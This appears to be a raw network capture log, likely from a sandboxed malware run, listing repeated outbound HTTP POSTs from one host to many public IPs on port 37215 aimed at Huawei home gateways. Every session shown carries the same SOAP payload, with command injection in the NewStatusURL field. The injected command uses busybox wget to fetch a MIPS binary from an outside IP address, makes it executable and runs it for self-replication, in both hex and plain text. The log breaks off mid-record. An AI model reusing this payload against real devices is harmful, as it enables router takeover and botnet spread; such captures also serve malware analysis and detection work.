Jul 20, 2024 23:01:02.411662102 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	60374	13.86.185.73	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411662102 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	43890	157.255.17.174	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411662102 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	59918	145.169.160.7	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411662102 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	47626	41.160.188.126	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411663055 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	50544	60.162.189.105	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411663055 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	44176	157.11.29.10	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411902905 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	49206	41.239.228.171	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.411902905 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	54692	197.37.177.219	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412791014 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	58652	197.70.43.24	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412791014 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	56944	197.200.12.199	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412791014 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 